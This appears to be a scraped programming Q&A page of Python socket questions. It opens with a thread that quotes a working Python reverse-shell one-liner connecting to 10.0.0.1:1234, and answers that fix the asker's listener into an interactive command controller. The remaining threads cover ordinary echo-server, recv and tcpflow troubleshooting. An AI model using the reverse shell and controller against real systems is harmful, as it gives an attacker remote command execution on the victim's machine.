bash shell and python server to send commands - python

I had a doubt regarding one of my reverse shell I tried locally :
After trying manually the steps to get an interactive shell with the following reverse shell :
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
_
I tried to do a python server that would automate this :
# coding: utf-8
import socket
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.bind(('', 1234))
socket.listen(1)
client, address = socket.accept()
print "{} connected".format( address )
while True:
print(client.recv(2048)) # this showed me I had a shell
client.send(input("").encode('utf-8'))
client.close()
stock.close()
Can someone figure out why my commands are not executed but the shell is launched (client side)?
Thanks.

client.send(input("").encode('utf-8'))
input will strip the newline from the input it read. The shell though is expecting a command to end with a newline. The fix is thus to add the missing newline:
client.send(input("").encode('utf-8') + b"\n")

First, the variable names should not be the same as the library names.
Since you are connecting directly to the shell, you must use a newline specifier, i.e. '\n' every time data is sent
You need to decode the incoming data
Closing the client and socket will not work. Because it will never exit the while loop and the codes below will not work. You can do a check for output for that. For example, when you type 'exit', the loop will end.
The code should be at least like this:
import socket
def interact(client):
command=''
while(command != 'exit'):
command=input('$ ')
client.send((command + '\n').encode('utf-8'))
print client.recv(2048).decode('utf-8')
client.close()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 1234))
s.listen(1)
client, addr = s.accept()
print "{} connected".format( addr )
interact(client)

Related

Python - How to end a socket using a "with as" block

I'm learning about sockets and connections and trying to write a simple server Python script that echos a message to a client.
I began with just running a script that prints what it receives from a socket.
So i'm running what i wrote locally and using Putty as a client (so the message isn't printed to the putty session yet).
This is my code:
import socket
HOST = '127.0.0.1'
PORT = 65432
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT)) # bind accepts a tuple of a hostname or address and a port
s.listen()
conn, addr = s.accept() # returns a pair
with conn:
print("Connection started!", conn, addr)
data = conn.recv(1024)
while data:
data = data.decode("UTF-8")
print(data)
# if data == "exit":
# shutdown and close the connection,
# and ofcourse exit the two with as blocks gracefully
data = conn.recv(1024)
print("Connection is closed and the program continued")
Running this works but i have no way of terminating the connection other then killing the server.
I believe that data will always be true since i'm using putty and it seems that even when i'm hitting enter with no text to the connection window, it actually sends this:
b'\r\n'
So I tried placing this inside the commented if statement:
conn.shutdown(socket.SHUT_RDWR)
conn.close()
Hoping this will just make the socket be deleted - but it didn't work.
So what I want to do is to exit the with blocks and deleting the sockets without having to raise any exceptions or make the program stop. I tried doing so using python 3 change to socket that made it usable with with-as statements. I tried just calling the conn.__exit__ or s.__exit__ function but that didn't work also.
How can I close the socket and exit the two with blocks using an input from the user? Is there anything i'm confusing with the socket module here?

Why doesn't my code respond elsewise?

import socket
sock = socket.socket()
sock.bind(('127.0.0.1', 1600))
sock.listen(1)
(client_sock,client_address) = sock.accept()
client_name = client_sock.recv(1024)
client_sock.send('hi its '+client_name)
client_sock.close()
sock.close();
So i run on cmd command prompt the file containing the code above, and all i get is this:
As it can be seen my cmd is as if waiting for something to happen, it doesnt print out "Hi its ..." and never ends from waiting.
Why doesn't my code work ?
It is simple: you have first to send the data and then receive. The receive command wait until the timeout (if it is set) and then go over. Remember that you have also to print the received data.
The best practice for doing what you want to do is a server-client approach having at least two different threads.

Reading from pipe in python is imposiible

Hello I have the following code in python 2.6:
command = "tcpflow -c -i any port 5559"
port_sniffer = subprocess.Popen(command, stdout=subprocess.PIPE, bufsize=1, shell=True)
while True:
line = port_sniffer.stdout.readline()
#do some stuff with line
The purpose of this code is to sniff the traffic between two processes (A and B) that communicate on port 5559.
Now let me describe the different scenarios I am having:
1) Code above is not running:
A and B are communicating and i can see it clearly using logs and the linux command netstat -napl | grep 5559 shows that the processes are communicating on the desired port.
2) Code above is not running and I am sniffing by running tcpflow -c -i any port 5559 directly from shell:
I can see the communication on console clearly :-).
3) Code above is running: Proccesses can't communicate. netstat -napl | grep 5559 prints nothing and logs give out errors!!!
4) Code above is running in debug mode: I can't seem to be able to step after the line line = port_sniffer.stdout.readline()
I tried using an iterator instead of a while loop (not that it should matter but still I am pointing it out). I also tried different values for bufsize (none, 1, and 8).
Please help!!
So after a quick read through the docs I found these two sentences:
On Unix, if args is a string, the string is interpreted as the name or
path of the program to execute
and
The shell argument (which defaults to False) specifies whether to use
the shell as the program to execute. If shell is True, it is
recommended to pass args as a string rather than as a sequence.
Based on this, I would recommend recreating your command as a list:
command = ["tcpflow -c", "-i any port 5559"] #I don't know linux, so double check this line!!
The general idea is this (also from the docs):
If args is a sequence, the first item specifies the command string,
and any additional items will be treated as additional arguments to
the shell itself. That is to say, Popen does the equivalent of:
Popen(['/bin/sh', '-c', args[0], args[1], ...])
Additionally, it seems that to read from your process, you should use communicate(). So
while True:
line = port_sniffer.stdout.readline()
would become
while True:
line = port_sniffer.communicate()[0]
But keep in mind this note from the docs:
Note The data read is buffered in memory, so do not use this method if the data size is large or unlimited.
If I had to guess, I think the problem that you're having is that you aren't running your program as root. TCPFlow needs to be run as a privelaged user if you want to be able to sniff other people's traffic (otherwise that'd be a serious security vulnerability). I wrote the following programs and they worked just fine for your scenario
server.py
#!/usr/bin/python
import socket
s = socket.socket()
host = socket.gethostname()
port = 12345
s.bind((host,port))
s.listen(5)
while True:
c, addr = s.accept()
print 'Connection from', addr
c.send('Test string 1234')
c.recv(1024)
while x != 'q':
print "Received " + x
c.send('Blah')
x = c.recv(1024)
print "Closing connection"
c.close()
client.py
#!/usr/bin/python
import socket, sys
from time import sleep
from datetime import datetime
s = socket.socket()
host = socket.gethostname()
port = 12345
s.connect((host,port))
c = sys.stdin.read(1) # Type a char to send to initate the sending loop
while True:
s.send(str(datetime.now()))
s.sleep(3)
msg = s.recv(1024)
flow.py
#!/usr/bin/python
import subprocess
command = 'tcpflow -c -i any port 12345'
sniffer = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
while True:
print sniffer.stdout.readline()

Python TCP socket.recv() returns with nothing as soon as connection is made

I'm trying to implement the most basic python TCP server. Windows 8, Python 2.7, firewall is turned off. Code is from here: https://wiki.python.org/moin/TcpCommunication
If I do the client stuff (socket(...), connect(...), send(...)) via python repl, things work fine, ie the server correctly blocks when calling recv.
However if I run the exact same code via python script (both with and without explicitly calling python.exe at windows command line), the recv returns immediately with no data. I read elsewhere on SO this means it's an invalid socket, but I'm not sure what that means or how to check for it. I'm using the socket returned by accept() not the one used to initiate the connection.
I'm trying to block on recv so I can take advantage of the timeout (I don't want to use select module, which BTW also returns immediately) and process some keyboard stuff between attempts to recv, ie user presses 'q' to quit.
In various experiments I've shown that once this occurs, recv will always return immediately (as will select.select(...)) if I put it in a loop, so it's not like the client is sending a single "bad" packet initially. If the client happens to have sent something, then the recv returns with that data, but it certainly doesn't block waiting for data when put in a tight loop.
Is this behavior expected?
Server code:
import sys
import socket
TCP_IP = '192.168.1.10'
TCP_PORT = 5005
BUFFER_SIZE = 20 # Normally 1024, but we want fast response
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((TCP_IP, TCP_PORT))
s.listen(1)
conn, addr = s.accept()
print 'Connection address:', addr
while 1:
data = conn.recv(BUFFER_SIZE) # This returns immediately with no data, when client connection is run from script and doesn't send() anything, just connects.
if not data:
print "broken"
break
print "received data:", data
conn.send(data) # echo
conn.close()
sys.exit()
Client code:
import sys
import socket
TCP_IP = '192.168.1.10'
TCP_PORT = 5005
BUFFER_SIZE = 1024
MESSAGE = "Hello, World!"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
# Commenting out the following to prove the recv() call on the other
#end returns with nothing instead of blocking indefinitely. If I
#type the rest of this at the REPL the server behaves correctly,
#ie, the recv call blocks forever until socket.send("bla") from client.
#s.send(MESSAGE) data = s.recv(BUFFER_SIZE)
#s.close()
#print "received data:", data
sys.exit()
Yes, this is expected behavior.
The client does not send anything. And it exit as soon as it connect to the server; cause disconnection.
socket.recv returns an empty string if the peer performed shutdown (disconnect).
While, in the REPL, the socket is not closed until you issue sys.exit() or you quit the interactive shell.

Client/Server Not Receiving Data in Python

I am totally new to socket programming.
I have a product and trying to connect.
I can send the data and see its result on product, but I cannot receive anything.
this is my script:
import socket
def ScktConn():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 5006))
# our local IP is 192.168.2.1, but it works even with 127.0.0.1, I don't know from where #it is coming
Freq=raw_input('Frequency(450-2500): ')
CmdF='0 ace_set_frequency C1 '+str(Freq)+' \r\n'
s.send(CmdF)
# so far I sent a tcl command to product to set the frequency and it works
s.send('0 ace_azplayer_remove_player XXX \r\n')
# sending another tcl command and works
s.send('0 ace_azplayer_add_player \r\n')
# here it is working too
s.send('0 ace_azplayer_add_ace XXX C1\r\n')
Path='C:/Users/AM_RJ/Desktop/gridview_script/PBF/4x4U_wocorr_SNR.csv'
s.send('0 ace_azplayer_load_csvfile AzPlayer1 '+Path+' \r\n')
# here I should receive some numbers, but always returning me 0!
#even if I send ('hello!') and use recv(1024), it returns 0!
csvid=s.recv(4096)
print csvid
Path2='0 ace_azplayer_edit_playback_file AzPlayer1 '+str(csvid)+' -linkConfiguration "4x4" \r\n'
print Path2
s.send(Path2)
After using recv(4096), I should receive some numbers, but it always returning me 0!
even if I send ('hello!') and use recv(1024), it returns 0!
I'm using python 2.7.
I am not even sure whether or not the server and client sides are correct in my script!
Please help me out about it.
You need more than one socket, here is a minimal example (which would need more work to be made robust). ScktConn spawns a new thread which creates a server socket that listens for the connection from s.
import socket
import threading
import time
address = ('127.0.0.1', 5007)
def ScktRecv():
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
r.bind(address)
r.listen(1)
conn, _ = r.accept()
csvid = conn.recv(4096)
print "recv: %s" % csvid
def ScktConn():
recv_thread = threading.Thread(target=ScktRecv)
recv_thread.start()
time.sleep(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(address)
# our local IP is 192.168.2.1, but it works even with 127.0.0.1, I don't know from where #it is coming
Freq=raw_input('Frequency(450-2500): ')
CmdF='0 ace_set_frequency C1 '+str(Freq)+' \r\n'
s.send(CmdF)

Categories

Resources